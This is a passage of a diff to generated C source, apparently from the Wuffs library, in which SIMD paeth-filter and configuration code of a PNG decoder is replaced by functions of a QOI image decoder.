_mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end2_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- return wuffs_base__make_empty_struct(); ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func png.decoder.filter_4_distance_4_x86_sse42 ++// -------- func qoi.decoder.do_decode_frame_config + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_x86_sse42( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- __m128i v_x128 = {0}; +- __m128i v_a128 = {0}; +- __m128i v_b128 = {0}; +- __m128i v_c128 = {0}; +- __m128i v_p128 = {0}; +- __m128i v_pa128 = {0}; +- __m128i v_pb128 = {0}; +- __m128i v_pc128 = {0}; +- __m128i v_smallest128 = {0}; +- __m128i v_z128 = {0}; ++static wuffs_base__status ++wuffs_qoi__decoder__do_decode_frame_config( ++ wuffs_qoi__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); +- v_pa128 = _mm_sub_epi16(v_b128, v_c128); +- v_pb128 = _mm_sub_epi16(v_a128, v_c128); +- v_pc128 = _mm_add_epi16(v_pa128, v_pb128); +- v_pa128 = _mm_abs_epi16(v_pa128); +- v_pb128 = _mm_abs_epi16(v_pb128); +- v_pc128 = _mm_abs_epi16(v_pc128); +- v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); +- v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); +- v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); +- v_x128 = _mm_add_epi8(v_x128, v_p128); +- v_a128 = v_x128; +- v_c128 = v_b128; +- v_x128 = _mm_packus_epi16(v_x128, v_x128); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); +- v_curr.ptr += 4; +- v_prev.ptr += 4; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_qoi__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (16u != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } +- v_curr.len = 0; +- v_prev.len = 0; +- } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 +- +-// -------- func png.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__get_quirk( +- const wuffs_png__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ 14u, ++ 0u, ++ (self->private_impl.f_pixfmt == 2415954056u), ++ false, ++ 0u); ++ } ++ self->private_impl.f_call_sequence = 64u; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- return 0u; +-} + +-// -------- func png.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__set_quirk( +- wuffs_png__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func png.decoder.decode_image_config ++// -------- func qoi.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_qoi__decoder__decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -54464,12 +67805,12 @@ wuffs_png__decoder__decode_image_config( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_src) { ++ if (!a_dst || !a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 3)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -54478,17 +67819,22 @@ wuffs_png__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_qoi__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_qoi__error__truncated_input); + goto exit; + } + status = v_status; +@@ -54496,14 +67842,14 @@ wuffs_png__decoder__decode_image_config( + } + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + + goto exit; + exit: +@@ -54513,21 +67859,21 @@ wuffs_png__decoder__decode_image_config( + return status; + } + +-// -------- func png.decoder.do_decode_image_config ++// -------- func qoi.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_image_config( +- wuffs_png__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++wuffs_qoi__decoder__do_decode_frame( ++ wuffs_qoi__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_magic = 0; +- uint64_t v_mark = 0; +- uint32_t v_checksum_have = 0; +- uint32_t v_checksum_want = 0; + wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint64_t v_c64 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -54540,281 +67886,332 @@ wuffs_png__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_checksum_have = self->private_data.s_do_decode_image_config[0].v_checksum_have; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if ( ! self->private_impl.f_seen_ihdr) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { +- t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); +- iop_a_src += 8; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 56) { +- t_0 = ((uint64_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } +- } +- v_magic = t_0; ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (v_magic != 727905341920923785u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_qoi__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(self->private_impl.f_pixfmt), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { +- t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); +- iop_a_src += 8; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 56) { +- t_1 = ((uint64_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- v_magic = t_1; ++ goto ok; ++ } ++ self->private_impl.f_dst_x = 0u; ++ self->private_impl.f_dst_y = 0u; ++ self->private_data.f_pixel[0u] = 0u; ++ self->private_data.f_pixel[1u] = 0u; ++ self->private_data.f_pixel[2u] = 0u; ++ self->private_data.f_pixel[3u] = 255u; ++ wuffs_private_impl__bulk_memset(&self->private_data.f_cache[0], 256u, 0u); ++ self->private_impl.f_remaining_pixels_times_4 = (((uint64_t)(self->private_impl.f_width)) * ((uint64_t)(self->private_impl.f_height)) * 4u); ++ while (self->private_impl.f_remaining_pixels_times_4 > 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- if (v_magic != 5927942488114331648u) { +- if (v_magic == 5278895250759221248u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_qoi__decoder__from_src_to_buffer(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_remaining_pixels_times_4 < ((uint64_t)(self->private_impl.f_buffer_index))) { ++ status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ goto exit; ++ } ++ self->private_impl.f_remaining_pixels_times_4 -= ((uint64_t)(self->private_impl.f_buffer_index)); ++ v_status = wuffs_qoi__decoder__from_buffer_to_dst(self, a_dst); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); + goto exit; + } +- status = wuffs_base__make_status(wuffs_png__error__bad_header); +- goto exit; ++ goto ok; + } +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 72u; +- self->private_impl.f_chunk_type_array[2u] = 68u; +- self->private_impl.f_chunk_type_array[3u] = 82u; +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- while (true) { +- v_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_0 = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); +- v_status = t_2; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ uint64_t* scratch = &self->private_data.s_do_decode_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 56) { ++ t_0 = ((uint64_t)(*scratch >> 0)); ++ break; + } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); + } +- if ( ! self->private_impl.f_ignore_checksum) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); + } ++ v_c64 = t_0; ++ } ++ if (v_c64 != 1u) { ++ status = wuffs_base__make_status(wuffs_qoi__error__bad_footer); ++ goto exit; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func qoi.decoder.from_src_to_buffer ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_qoi__decoder__from_src_to_buffer( ++ wuffs_qoi__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_dg = 0; ++ uint32_t v_bi = 0; ++ uint32_t v_bj = 0; ++ uint32_t v_bk = 0; ++ uint32_t v_ci = 0; ++ uint32_t v_hash4 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_from_src_to_buffer; ++ if (coro_susp_point) { ++ v_dg = self->private_data.s_from_src_to_buffer.v_dg; ++ v_bi = self->private_data.s_from_src_to_buffer.v_bi; ++ v_bk = self->private_data.s_from_src_to_buffer.v_bk; ++ } ++ switch (coro_susp_point) { ++ 